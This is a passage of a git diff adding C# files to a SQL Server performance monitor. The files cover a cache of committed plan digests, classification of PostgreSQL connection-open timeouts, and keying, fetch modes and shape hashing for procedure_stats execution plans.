+AND   query_text ~* " + PgSensitiveStatementFilter.SqlLiteral(Version1Pattern) + @"
 AND   query_text <> " + PgSensitiveStatementFilter.SqlLiteral(PgSensitiveStatementFilter.PlaceholderText) + @"
 ORDER BY queryid
 LIMIT " + StatementTextBatchSize.ToString(CultureInfo.InvariantCulture);
@@ -180,13 +195,13 @@ placeholder ELSE column END shape PgBlockingCollector's own SensitiveTextCase ap
     private static readonly string BlockingEdgesCandidateSql = @"
 SELECT
     collection_time, collection_id,
-    " + PgSensitiveStatementFilter.SqlPredicate("blocked_query") + @" AS new_blocked_query,
-    " + PgSensitiveStatementFilter.SqlPredicate("blocking_query") + @" AS new_blocking_query
+    " + PgSensitiveStatementFilter.SqlPredicate("blocked_query", Version1Pattern) + @" AS new_blocked_query,
+    " + PgSensitiveStatementFilter.SqlPredicate("blocking_query", Version1Pattern) + @" AS new_blocking_query
 FROM collect.pg_blocking_edges
 WHERE server_id = $1
 AND   collection_time >= $2 AND collection_time < $3
-AND ((blocked_query ~* " + PgSensitiveStatementFilter.SqlLiteral(PgSensitiveStatementFilter.SensitiveStatementPattern) + @" AND blocked_query <> " + PgSensitiveStatementFilter.SqlLiteral(PgSensitiveStatementFilter.PlaceholderText) + @")
- OR (blocking_query ~* " + PgSensitiveStatementFilter.SqlLiteral(PgSensitiveStatementFilter.SensitiveStatementPattern) + @" AND blocking_query <> " + PgSensitiveStatementFilter.SqlLiteral(PgSensitiveStatementFilter.PlaceholderText) + @"))";
+AND ((blocked_query ~* " + PgSensitiveStatementFilter.SqlLiteral(Version1Pattern) + @" AND blocked_query <> " + PgSensitiveStatementFilter.SqlLiteral(PgSensitiveStatementFilter.PlaceholderText) + @")
+ OR (blocking_query ~* " + PgSensitiveStatementFilter.SqlLiteral(Version1Pattern) + @" AND blocking_query <> " + PgSensitiveStatementFilter.SqlLiteral(PgSensitiveStatementFilter.PlaceholderText) + @"))";
 
     private const string BlockingEdgesUpdateSql = @"
 WITH batch AS (
diff --git a/Darling/PerformanceMonitor.Darling.Service/PlanDigestCache.cs b/Darling/PerformanceMonitor.Darling.Service/PlanDigestCache.cs
new file mode 100644
index 0000000000..34e1c80383
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/PlanDigestCache.cs
@@ -0,0 +1,209 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// One cached plan identity (#5158): the content digest the store holds for it (null for a plan over the
+/// capture cap, which has no stored plan), its measured size, whether a commit has proved it, and when this
+/// host last saw the identity. <paramref name="RenderedOrdinal"/> is the caller's own count of the run that
+/// rendered the plan (a collector that expires entries by age in runs keeps one); it is never refreshed by a hit,
+/// and is 0 when the caller keeps none. <paramref name="Shape"/> is the caller's own key for the plan's shape
+/// (#5158: what stays the same when a plan's bytes change only because its memory grant was adjusted in place); null
+/// when the caller keeps none or could not compute one.
+/// </summary>
+internal readonly record struct PlanDigestEntry(
+    string? Digest, long? Bytes, bool Confirmed, DateTime LastSeenUtc, long RenderedOrdinal = 0, string? Shape = null);
+
+/// <summary>
+/// What the host remembers about statement plans it has already committed, keyed by whatever identity a
+/// collector uses for "this exact plan" (#5158). One instance per server, held by the runner for the service's
+/// lifetime, so a restart starts empty and each server renders its plans once more.
+///
+/// <para><b>Why the host's own commits and no store probe.</b> A probe before rendering costs a store round
+/// trip per run, and #2831 measured that cost as client-side time rather than store time (query_store's
+/// probe was about half its wall time even after #3216). The commit is already proof: an entry is
+/// <see cref="Confirmed"/> only after the batch that wrote its digest committed, so a hit means the store
+/// holds the plan and nothing needs asking.</para>
+///
+/// <para><b>Lifecycle.</b> <see cref="AddPending"/> records a plan this run rendered, unusable until
+/// <see cref="ConfirmPending"/> runs after the commit; <see cref="DiscardPending"/> drops it when the write
+/// failed. <see cref="Evict"/> removes digests the store reported missing (compared case-insensitively:
+/// <c>PayloadDimensionWriter.FlushAsync</c> reports upper-case hex), and <see cref="Prune"/> forgets
+/// identities unseen for a while so the map follows the plan cache instead of growing.</para>
+///
+/// <para>Free of any collector's key shape: <typeparamref name="TKey"/> only needs value equality.
+/// Thread-safe per instance.</para>
+/// </summary>
+internal sealed class PlanDigestCache<TKey>
+    where TKey : IEquatable<TKey>
+{
+    private readonly object _gate = new();
+    private readonly Dictionary<TKey, PlanDigestEntry> _entries = new();
+
+    /// <summary>How many identities are held, confirmed or pending.</summary>
+    public int Count
+    {
+        get
+        {
+            lock (_gate)
+            {
+                return _entries.Count;
+            }
+        }
+    }
+
+    /// <summary>
+    /// A hit is a CONFIRMED entry only: a pending one has not been proved by a commit. A hit refreshes the
+    /// entry's last-seen time, which is what <see cref="Prune"/> ages on.
+    /// </summary>
+    public bool TryGet(TKey key, DateTime nowUtc, out PlanDigestEntry entry)
+    {
+        lock (_gate)
+        {
+            if (_entries.TryGetValue(key, out var found) && found.Confirmed)
+            {
+                entry = found with { LastSeenUtc = nowUtc };
+                _entries[key] = entry;
+                return true;
+            }
+        }
+
+        entry = default;
+        return false;
+    }
+
+    /// <summary>
+    /// Records a plan this run rendered. <paramref name="digest"/> is null for a plan over the cap.
+    /// <paramref name="renderedOrdinal"/> is the caller's count of this run, kept for <see cref="PlanDigestEntry.RenderedOrdinal"/>;
+    /// <paramref name="shape"/> is kept for <see cref="PlanDigestEntry.Shape"/>.
+    /// </summary>
+    public void AddPending(TKey key, string? digest, long? bytes, DateTime nowUtc, long renderedOrdinal = 0, string? shape = null)
+    {
+        lock (_gate)
+        {
+            _entries[key] = new PlanDigestEntry(digest, bytes, Confirmed: false, nowUtc, renderedOrdinal, shape);
+        }
+    }
+
+    /// <summary>Marks pending entries proved. Call only after the batch carrying them committed.</summary>
+    public void ConfirmPending(IEnumerable<TKey> keys, DateTime nowUtc)
+    {
+        ArgumentNullException.ThrowIfNull(keys);
+
+        lock (_gate)
+        {
+            foreach (var key in keys)
+            {
+                if (_entries.TryGetValue(key, out var found) && !found.Confirmed)
+                {
+                    _entries[key] = found with { Confirmed = true, LastSeenUtc = nowUtc };
+                }
+            }
+        }
+    }
+
+    /// <summary>Forgets every entry, confirmed and pending (#5367 review, A-L1: a cache filled under one filter mode
+    /// must not answer a run in another).</summary>
+    public void Clear()
+    {
+        lock (_gate)
+        {
+            _entries.Clear();
+        }
+    }
+
+    /// <summary>Drops pending entries whose write failed. A confirmed entry is never touched.</summary>
+    public void DiscardPending(IEnumerable<TKey> keys)
+    {
+        ArgumentNullException.ThrowIfNull(keys);
+
+        lock (_gate)
+        {
+            foreach (var key in keys)
+            {
+                if (_entries.TryGetValue(key, out var found) && !found.Confirmed)
+                {
+                    _entries.Remove(key);
+                }
+            }
+        }
+    }
+
+    /// <summary>
+    /// Removes every entry (confirmed or pending) holding one of <paramref name="digests"/>, so the next
+    /// sighting re-renders. The comparison ignores case.
+    /// </summary>
+    /// <returns>How many entries were removed.</returns>
+    public int Evict(IEnumerable<string> digests)
+    {
+        ArgumentNullException.ThrowIfNull(digests);
+
+        var wanted = new HashSet<string>(digests, StringComparer.OrdinalIgnoreCase);
+        if (wanted.Count == 0)
+        {
+            return 0;
+        }
+
+        lock (_gate)
+        {
+            List<TKey>? doomed = null;
+            foreach (var (key, entry) in _entries)
+            {
+                if (entry.Digest is not null && wanted.Contains(entry.Digest))
+                {
+                    (doomed ??= new List<TKey>()).Add(key);
+                }
+            }
+
+            if (doomed is null)
+            {
+                return 0;
+            }
+
+            foreach (var key in doomed)
+            {
+                _entries.Remove(key);
+            }
+
+            return doomed.Count;
+        }
+    }
+
+    /// <summary>Forgets entries last seen before <paramref name="cutoffUtc"/>, pending ones included.</summary>
+    /// <returns>How many entries were removed.</returns>
+    public int Prune(DateTime cutoffUtc)
+    {
+        lock (_gate)
+        {
+            List<TKey>? stale = null;
+            foreach (var (key, entry) in _entries)
+            {
+                if (entry.LastSeenUtc < cutoffUtc)
+                {
+                    (stale ??= new List<TKey>()).Add(key);
+                }
+            }
+
+            if (stale is null)
+            {
+                return 0;
+            }
+
+            foreach (var key in stale)
+            {
+                _entries.Remove(key);
+            }
+
+            return stale.Count;
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/PostgresOpenTimeout.cs b/Darling/PerformanceMonitor.Darling.Service/PostgresOpenTimeout.cs
new file mode 100644
index 0000000000..3fac90c686
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/PostgresOpenTimeout.cs
@@ -0,0 +1,114 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Net.Sockets;
+using Npgsql;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// The one test for "this store open ran out of time" (#5016), so every place that words an open failure asks
+/// the same question. A timed-out open does not have one shape. Read against Npgsql 10.0.3, an open that ran
+/// out of time throws one of these:
+///
+/// <list type="bullet">
+/// <item>A startup or login read (SSL request, GSS request, the authentication exchange) whose timer fired:
+/// <see cref="NpgsqlException"/> "Exception while reading from stream" over a <see cref="TimeoutException"/>
+/// ("Timeout during reading attempt"), thrown from <c>NpgsqlReadBuffer</c>.</item>
+/// <item>The same read timing out inside the GSS step, which wraps what it caught: <see cref="NpgsqlException"/>
+/// "Exception while performing GSS encryption" over that read-timeout <see cref="NpgsqlException"/>, so the
+/// <see cref="TimeoutException"/> sits TWO levels down.</item>
+/// <item>A startup send whose timer fired: <see cref="NpgsqlException"/> "Exception while writing to stream" over a
+/// <see cref="TimeoutException"/> ("Timeout during writing attempt").</item>
+/// <item>The budget already spent when the next step began, which includes the retry the driver makes after a
+/// failed first attempt (it retries without GSS, and the budget is shared): <see cref="NpgsqlException"/> "The
+/// operation has timed out" over a bare <see cref="TimeoutException"/>. This is the shape a silent store
+/// normally ends with.</item>
+/// <item>A TCP connect or DNS lookup that did not finish: <see cref="NpgsqlException"/> "Failed to connect to
+/// {endpoint}" (or "The operation has timed out" for DNS) over a <see cref="TimeoutException"/> ("Timeout during
+/// connection attempt"). When the operating system gives up before the driver's timer, the inner is a
+/// <see cref="SocketException"/> with <see cref="SocketError.TimedOut"/> instead.</item>
+/// <item>A pool wait that ended: <see cref="NpgsqlException"/> "The connection pool has been exhausted, ..." over a
+/// bare <see cref="TimeoutException"/>.</item>
+/// <item>A wait for the data source's first-time setup that ended: a bare <see cref="TimeoutException"/>, not an
+/// <see cref="NpgsqlException"/> at all (<c>NpgsqlDataSource.Bootstrap</c>).</item>
+/// </list>
+///
+/// <para>Each of those carries a <see cref="TimeoutException"/> (or the operating system's timed-out socket
+/// error) somewhere in its chain and no outer type or message says so, because the same
+/// "Exception while reading from stream" text also covers a connection the server reset. So the chain is
+/// walked, as <see cref="PostgresTransportFault"/> walks it, and the answer is the first thing that decides
+/// it.</para>
+///
+/// <para>Three things answer false. A <see cref="PostgresException"/> is the backend answering (a refused
+/// login is not a slow one). An <see cref="OperationCanceledException"/> is somebody cancelling, and the one
+/// who can cancel an open is the caller; the driver turns its own timer's cancellation into a
+/// <see cref="TimeoutException"/> before it reaches us, so a cancellation left over is never the open running
+/// out of time. And every other failure: a refused connection, a reset by the server, a connection the server
+/// closed (<see cref="System.IO.EndOfStreamException"/>), an authentication error, a name that does not
+/// resolve.</para>
+/// </summary>
+internal static class PostgresOpenTimeout
+{
+    /// <summary>
+    /// True when <paramref name="exception"/>, the exception a store open threw, means the open ran out of time.
+    /// The chain is walked from the outside in, and the first <see cref="PostgresException"/> or
+    /// <see cref="OperationCanceledException"/> answers false before any deeper level is read.
+    /// </summary>
+    internal static bool IsTimedOutOpen(Exception exception)
+    {
+        for (var current = exception; current is not null; current = current.InnerException)
+        {
+            switch (current)
+            {
+                case PostgresException:
+                case OperationCanceledException:
+                    return false;
+                case TimeoutException:
+                case SocketException { SocketErrorCode: SocketError.TimedOut }:
+                    return true;
+            }
+        }
+
+        return false;
+    }
+
+    /// <summary>How much earlier than the configured <c>Timeout</c> a failure may land and still count as the timeout
+    /// (timer granularity and scheduling).</summary>
+    internal static readonly TimeSpan ClockSlack = TimeSpan.FromMilliseconds(100);
+
+    /// <summary>
+    /// True when a driver failure came only after the open had used its whole <c>Timeout</c>. The driver's own timer can
+    /// tear the socket down under a read, so the failure surfaces as an <see cref="NpgsqlException"/> over an aborted or
+    /// interrupted socket instead of a <see cref="TimeoutException"/>; no shape rule sees that, but the clock does. A
+    /// <see cref="PostgresException"/> anywhere in the chain (the server answered), a cancelled caller, or
+    /// a failure well before the timeout (refused, reset, closed, auth) is never a timed-out open. An
+    /// <see cref="OperationCanceledException"/> nested under the <see cref="NpgsqlException"/> is not an exclusion: a
+    /// caller's cancellation never reaches this method and is covered by <paramref name="callerCancelled"/>, so a nested one
+    /// with the caller still live is the driver's own <c>Timeout</c> timer firing under a read. Used beside
+    /// <see cref="IsTimedOutOpen"/>, not instead of it.
+    /// </summary>
+    internal static bool IsTimedOutByClock(Exception exception, TimeSpan elapsed, TimeSpan timeout, bool callerCancelled)
+    {
+        if (callerCancelled || exception is not NpgsqlException || timeout <= TimeSpan.Zero || elapsed + ClockSlack < timeout)
+        {
+            return false;
+        }
+
+        for (var current = exception; current is not null; current = current.InnerException)
+        {
+            if (current is PostgresException)
+            {
+                return false;
+            }
+        }
+
+        return true;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/ProcedureStatsPlanKey.cs b/Darling/PerformanceMonitor.Darling.Service/ProcedureStatsPlanKey.cs
new file mode 100644
index 0000000000..c71fa0e50f
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/ProcedureStatsPlanKey.cs
@@ -0,0 +1,165 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using PerformanceMonitor.Collectors;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// How <c>procedure_stats</c> treats its plan XML (#5158), the value of the <c>procedureStatsDeferredPlanFetch</c> knob.
+/// </summary>
+public enum ProcedureStatsPlanFetchMode
+{
+    /// <summary>The inline capture, exactly as before the knob existed.</summary>
+    Off = 0,
+
+    /// <summary>
+    /// The inline capture, plus the identity fingerprint and a cache lookup, to measure whether the identity
+    /// would have recognized the plans just rendered. Never changes a written row.
+    /// </summary>
+    Shadow = 1,
+
+    /// <summary>The deferred fetch: plans the host already holds are not rendered again.</summary>
+    On = 2,
+}
+
+/// <summary>
+/// Reads the <c>procedureStatsDeferredPlanFetch</c> value (#5158): <c>off</c>, <c>shadow</c> or <c>on</c>, ignoring
+/// case and surrounding blanks. A blank value is <c>off</c> (the shipped config default is <c>on</c>); so is anything else, which the caller reports once.
+/// </summary>
+internal static class ProcedureStatsPlanFetchModes
+{
+    /// <summary>The shipped value.</summary>
+    public const string DefaultValue = "on";
+
+    /// <returns>True when <paramref name="value"/> named a mode (or was missing); false when it was unrecognized and the mode is Off.</returns>
+    public static bool TryParse(string? value, out ProcedureStatsPlanFetchMode mode)
+    {
+        mode = ProcedureStatsPlanFetchMode.Off;
+        var text = value?.Trim();
+        if (string.IsNullOrEmpty(text) || string.Equals(text, "off", StringComparison.OrdinalIgnoreCase))
+        {
+            return true;
+        }
+
+        if (string.Equals(text, "shadow", StringComparison.OrdinalIgnoreCase))
+        {
+            mode = ProcedureStatsPlanFetchMode.Shadow;
+            return true;
+        }
+
+        if (string.Equals(text, "on", StringComparison.OrdinalIgnoreCase))
+        {
+            mode = ProcedureStatsPlanFetchMode.On;
+            return true;
+        }
+
+        return false;
+    }
+
+    /// <summary>
+    /// The mode a run was stamped with, read back from its <see cref="CollectorContext"/>. The stamp is the single
+    /// resolution of the knob and the capture setting for the run; the reader close and the reuse pass read it here
+    /// instead of asking again, because the store reloads the capture setting live between the stamp and the apply.
+    /// <list type="bullet">
+    /// <item>On: the main query left the plan out (<c>DeferPlanXmlFetch</c>), or it carries identity columns with no
+    /// plan capture at all (a gated cycle).</item>
+    /// <item>Shadow: identity columns beside an inline plan.</item>
+    /// </list>
+    /// </summary>
+    public static ProcedureStatsPlanFetchMode OfRun(CollectorContext context)
+    {
+        if (context.DeferPlanXmlFetch || (context.PlanIdentityColumns && !context.CapturePlanXml))
+        {
+            return ProcedureStatsPlanFetchMode.On;
+        }
+
+        return context.PlanIdentityColumns && context.CapturePlanXml
+            ? ProcedureStatsPlanFetchMode.Shadow
+            : ProcedureStatsPlanFetchMode.Off;
+    }
+}
+
+/// <summary>
+/// The identity of one <c>procedure_stats</c> module plan (#5158), the key of its <see cref="PlanDigestCache{TKey}"/>:
+/// the server, the database the module lives in, the <c>plan_handle</c> bytes, the plan's <c>cached_time</c>, and a
+/// fingerprint of its statements read from <c>sys.dm_exec_query_stats</c>: how many there are, the latest
+/// <c>creation_time</c>, and the sum of <c>plan_generation_num</c>.
+///
+/// <para><b>Why the fingerprint.</b> A module plan changes in place when one statement recompiles: the handle and
+/// <c>cached_time</c> stay the same while the plan text does not. A statement's recompile moves its
+/// <c>creation_time</c> and <c>plan_generation_num</c>, and a statement compiled for the first time moves the count.
+/// A key without them would send the old plan's digest for a plan that has changed.</para>
+///
+/// <para>The handle compares by value, as in <see cref="QueryStatsPlanKey"/>.</para>
+/// </summary>
+internal readonly record struct ProcedureStatsPlanKey(
+    int ServerId,
+    string? DatabaseName,
+    byte[] PlanHandle,
+    DateTime? CachedTime,
+    long PlanStatementCount,
+    DateTime? PlanLastStatementCompile,
+    long PlanGenerationSum) : IEquatable<ProcedureStatsPlanKey>
+{
+    public bool Equals(ProcedureStatsPlanKey other) =>
+        ServerId == other.ServerId
+        && string.Equals(DatabaseName, other.DatabaseName, StringComparison.Ordinal)
+        && PlanHandle.AsSpan().SequenceEqual(other.PlanHandle)
+        && CachedTime == other.CachedTime
+        && PlanStatementCount == other.PlanStatementCount
+        && PlanLastStatementCompile == other.PlanLastStatementCompile
+        && PlanGenerationSum == other.PlanGenerationSum;
+
+    public override int GetHashCode()
+    {
+        var hash = new HashCode();
+        hash.Add(ServerId);
+        hash.Add(DatabaseName, StringComparer.Ordinal);
+        hash.AddBytes(PlanHandle);
+        hash.Add(CachedTime);
+        hash.Add(PlanStatementCount);
+        hash.Add(PlanLastStatementCompile);
+        hash.Add(PlanGenerationSum);
+        return hash.ToHashCode();
+    }
+
+    /// <summary>
+    /// The key for a row, or null when the row cannot be keyed: no usable <c>plan_handle</c>, no fingerprint, or a
+    /// statement count of zero. A count of zero means no statement is visible for the handle (it aged out, or
+    /// nothing has run), so the fingerprint says nothing about the plan and the row is never cached or matched.
+    /// </summary>
+    public static ProcedureStatsPlanKey? TryCreate(int serverId, ProcedureStatsCollector.Row row)
+    {
+        if (row.PlanStatementCount is not { } count || count <= 0)
+        {
+            return null;
+        }
+
+        if (!ProcedureStatsCollector.TryParsePlanHandle(row.PlanHandle, out var handle))
+        {
+            return null;
+        }
+
+        return new ProcedureStatsPlanKey(
+            serverId, row.DatabaseName, handle, row.CachedTime, count, row.PlanLastStatementCompile,
+            row.PlanGenerationSum ?? 0);
+    }
+
+    /// <summary>
+    /// What a log line may say about this identity: the handle and the fingerprint values, never a name or plan text.
+    /// </summary>
+    public override string ToString() =>
+        "plan_handle 0x" + Convert.ToHexString(PlanHandle)
+        + " cached_time " + (CachedTime?.ToString("O", CultureInfo.InvariantCulture) ?? "null")
+        + " statements " + PlanStatementCount.ToString(CultureInfo.InvariantCulture)
+        + " last_compile " + (PlanLastStatementCompile?.ToString("O", CultureInfo.InvariantCulture) ?? "null")
+        + " generation_sum " + PlanGenerationSum.ToString(CultureInfo.InvariantCulture);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/ProcedureStatsPlanReuse.cs b/Darling/PerformanceMonitor.Darling.Service/ProcedureStatsPlanReuse.cs
new file mode 100644
index 0000000000..f7b1ca97ad
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/ProcedureStatsPlanReuse.cs
@@ -0,0 +1,449 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Security.Cryptography;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Xml;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// The host's decisions about <c>procedure_stats</c> plans after the main read (#5158): which module plans the
+/// store already holds, which still need rendering, and, in shadow mode, whether the plan identity
+/// (<see cref="ProcedureStatsPlanKey"/>) would have been right about the plans the run just rendered inline.
+///
+/// <para>Separate from the runner so the decisions run without a monitored server: the plan fetch is a delegate.
+/// The runner owns the connection, the budget and the counters; this owns the rows and the cache.</para>
+///
+/// <para><b>Nothing is trusted before a commit.</b> Every plan this pass renders is added to the cache as pending;
+/// the runner confirms the returned keys after the batch commits, or discards them.</para>
+/// </summary>
+internal static class ProcedureStatsPlanReuse
+{
+    /// <summary>
+    /// The most module plans one run renders in the second query, taken in row order. This is a guard only: the plan phase
+    /// (#5449) covers at most <see cref="ProcedureStatsCollector.MaxPlansPerRun"/> rows and a row outside it is skipped, so
+    /// at most that many rows can miss and <c>deferred_over_cap = 0</c> is what to expect. A zero there is not evidence
+    /// that anything was tested.
+    /// </summary>
+    internal const int MaxMissesPerRun = ProcedureStatsCollector.MaxPlansPerRun;
+
+    /// <summary>
+    /// How many capture cycles an identity may go without being rendered again before a hit is refused. The
+    /// fingerprint is the control that notices a recompile; this bounds what it cannot see.
+    /// </summary>
+    internal const int TtlCaptureCycles = 4;
+
+    /// <summary>The second query: renders the plans for these handles, keyed by the handle's position in the list.</summary>
+    internal delegate Task<Dictionary<int, (string? PlanXml, long? Bytes)>> PlanFetch(
+        IReadOnlyList<byte[]> planHandles, CancellationToken cancellationToken);
+
+    /// <summary>What one pass did. Counts are per run.</summary>
+    internal sealed class Outcome
+    {
+        /// <summary>Keys this pass added to the cache as pending: confirm after the commit, discard if the write failed.</summary>
+        public List<ProcedureStatsPlanKey> Pending { get; } = new();
+
+        /// <summary>On: rows that carried a cached digest instead of a plan.</summary>
+        public int Hit { get; set; }
+
+        /// <summary>Shadow: rows whose identity was in the cache.</summary>
+        public int WouldHit { get; set; }
+
+        /// <summary>
+        /// Shadow: would-hits whose cached plan's SHAPE differs from the plan the run just rendered (#5158): a statement
+        /// recompiled, or one came or went. A render whose shape held is <see cref="SameShape"/>, not this.
+        /// </summary>
+        public int FalseHit { get; set; }
+
+        /// <summary>
+        /// Shadow: the part of <see cref="FalseHit"/> where both shapes were known and differ, a real shape change.
+        /// The four <c>FalseHit*</c> causes always sum to <see cref="FalseHit"/>; the other three are plans no shape
+        /// was compared for, so a field read can tell a shape change from an uncompared plan (#5158).
+        /// </summary>
+        public int FalseHitShape { get; set; }
+
+        /// <summary>Shadow: the part of <see cref="FalseHit"/> where the cached entry had no shape yet.</summary>
+        public int FalseHitNoShape { get; set; }
+
+        /// <summary>Shadow: the part of <see cref="FalseHit"/> where the render was over the size cap and was compared by byte size only.</summary>
+        public int FalseHitOverCap { get; set; }
+
+        /// <summary>Shadow: the part of <see cref="FalseHit"/> where the render's XML did not parse.</summary>
+        public int FalseHitUnparsed { get; set; }
+
+        /// <summary>
+        /// Shadow: would-hits whose rendered plan differs in bytes from the cached one but whose shape held. In the field
+        /// only the memory grant moved: grant feedback adjusted the cached plan in place. The hash key proves the shape
+        /// held, not that nothing else did. That is a minor mutation of a plan the store already holds, so it is not
+        /// a new plan and not a false hit (#5158).
+        /// </summary>
+        public int SameShape { get; set; }
+
+        /// <summary>Rows the cache did not hold, or held past its age limit, or could not key.</summary>
+        public int Miss { get; set; }
+
+        /// <summary>Plans rendered: inline in shadow, in the second query in on.</summary>
+        public int Rendered { get; set; }
+
+        /// <summary>The measured size of the rendered plans, over-cap plans included.</summary>
+        public long RenderedBytes { get; set; }
+
+        /// <summary>On: misses beyond <see cref="MaxMissesPerRun"/>; they ship no plan this run.</summary>
+        public int OverCap { get; set; }
+
+        /// <summary>The second query failed; the rows it covered ship no plan and nothing from it is cached.</summary>
+        public Exception? FetchFailure { get; set; }
+    }
+
+    /// <summary>True when the entry was rendered more than <see cref="TtlCaptureCycles"/> capture cycles ago.</summary>
+    internal static bool IsExpired(PlanDigestEntry entry, long captureOrdinal) =>
+        captureOrdinal - entry.RenderedOrdinal > TtlCaptureCycles;
+
+    /// <summary>The store's digest of a plan: what the writer will compute from the same text.</summary>
+    internal static string DigestOf(string planXml) =>
+        Convert.ToHexString(PayloadDimensions.Digest(PgCollectorRowWriter.StripEmbeddedNuls(planXml)));
+
+    /// <summary>
+    /// The shape of a plan (#5158): every <c>Stmt*</c> element in document order (<c>StmtSimple</c>, <c>StmtCond</c>,
+    /// <c>StmtCursor</c> and the rest), each as its element name and its <c>QueryPlanHash</c> (a dash when it has none:
+    /// <c>SET</c>, <c>RETURN</c>, <c>ASSIGN</c> and <c>COND</c> wrappers carry no plan), hashed to one key. Two renders of
+    /// the same cached plan have the same shape even when the engine's memory-grant feedback rewrote
+    /// <c>MemoryGrantInfo</c> and the operators' <c>MemoryFractions</c> in place. A statement with no hash has no shape to
+    /// compare, so it does not send the plan to the fallback. The fallback, a hash of the whole XML with the attributes of
+    /// those two elements left out, runs only when a <c>QueryPlan</c> opens under a statement that has no hash (a
+    /// shape the key cannot see) or when the plan has no statement. Returns null for XML that does not parse; the caller
+    /// then cannot prove the shape unchanged. Forward-only: no DOM is built.
+    /// </summary>
+    internal static string? ShapeOf(string planXml)
+    {
+        ArgumentNullException.ThrowIfNull(planXml);
+
+        var text = PgCollectorRowWriter.StripEmbeddedNuls(planXml);
+        try
+        {
+            var statements = new StringBuilder();
+            var count = 0;
+            var lastHadHash = true;
+            var unseenPlan = false;
+            using (var reader = OpenReader(text))
+            {
+                while (reader.Read())
+                {
+                    if (reader.NodeType != XmlNodeType.Element)
+                    {
+                        continue;
+                    }
+
+                    var name = reader.LocalName;
+                    if (name.StartsWith("Stmt", StringComparison.Ordinal))
+                    {
+                        count++;
+                        var hash = reader.GetAttribute("QueryPlanHash");
+                        lastHadHash = !string.IsNullOrEmpty(hash);
+                        statements.Append(name).Append('=').Append(lastHadHash ? hash : "-").Append(',');
+                    }
+                    else if (name == "QueryPlan" && !lastHadHash)
+                    {
+                        unseenPlan = true;
+                        break;
+                    }
+                }
+            }
+
+            if (!unseenPlan && count > 0)
+            {
+                return "h:" + Convert.ToHexString(SHA256.HashData(Encoding.UTF8.GetBytes(statements.ToString())));
+            }
+
+            return "x:" + GrantlessDigestOf(text);
+        }
+        catch (XmlException)
+        {
+            return null;
+        }
+    }
+
+    private static XmlReader OpenReader(string text) =>
+        XmlReader.Create(
+            new StringReader(text),
+            new XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit, XmlResolver = null, CheckCharacters = false });
+
+    /// <summary>A hash of the plan's XML, element by element, leaving out the attributes grant feedback rewrites.</summary>
+    private static string GrantlessDigestOf(string text)
+    {
+        using var hash = IncrementalHash.CreateHash(HashAlgorithmName.SHA256);
+        using var reader = OpenReader(text);
+        while (reader.Read())
+        {
+            switch (reader.NodeType)
+            {
+                case XmlNodeType.Element:
+                    AppendToken(hash, "<" + reader.LocalName);
+                    if (reader.LocalName is not ("MemoryGrantInfo" or "MemoryFractions") && reader.MoveToFirstAttribute())
+                    {
+                        do
+                        {
+                            AppendToken(hash, " " + reader.Name + "=" + reader.Value);
+                        }
+                        while (reader.MoveToNextAttribute());
+                        reader.MoveToElement();
+                    }
+
+                    break;
+                case XmlNodeType.EndElement:
+                    AppendToken(hash, ">");
+                    break;
+                case XmlNodeType.Text:
+                case XmlNodeType.CDATA:
+                    AppendToken(hash, "#" + reader.Value);
+                    break;
+                default:
+                    break;
+            }
+        }
+
+        return Convert.ToHexString(hash.GetHashAndReset());
+    }
+
+    private static readonly byte[] s_tokenSeparator = { 0 };
+
+    private static void AppendToken(IncrementalHash hash, string token)
+    {
+        hash.AppendData(Encoding.UTF8.GetBytes(token));
+        hash.AppendData(s_tokenSeparator);
+    }
+
+    /// <summary>Why shadow counted a would-hit as a false hit. Only <see cref="ShapeChanged"/> compared two shapes (#5158).</summary>
+    internal enum FalseHitCause
+    {
+        /// <summary>Both shapes were known and they differ.</summary>
+        ShapeChanged,
+        /// <summary>The cached entry has no shape yet (cached by <c>on</c>, or after a parse failure), so nothing was compared.</summary>
+        EntryHasNoShape,
+        /// <summary>The render was over the size cap and has no text, so it has no shape to compare.</summary>
+        OverCapRender,
+        /// <summary>The render's XML did not parse, so it has no shape to compare.</summary>
+        RenderUnparseable,
+    }
+
+    /// <summary>The words the shadow false-hit warning uses for each <see cref="FalseHitCause"/>.</summary>
+    internal static string DescribeFalseHit(FalseHitCause cause) => cause switch
+    {
+        FalseHitCause.ShapeChanged => "the plan's shape changed",
+        FalseHitCause.EntryHasNoShape => "the cached entry has no shape yet, so the shapes were not compared",
+        FalseHitCause.OverCapRender => "the rendered plan is over the size cap, so the shapes were not compared",
+        _ => "the rendered plan's XML did not parse, so the shapes were not compared",
+    };
+
+    /// <summary>
+    /// Shadow: the rows already carry their inline plans. Looks each identity up, compares a would-hit with the
+    /// plan just rendered, and warms the cache from the inline render. Changes no row.
+    /// </summary>
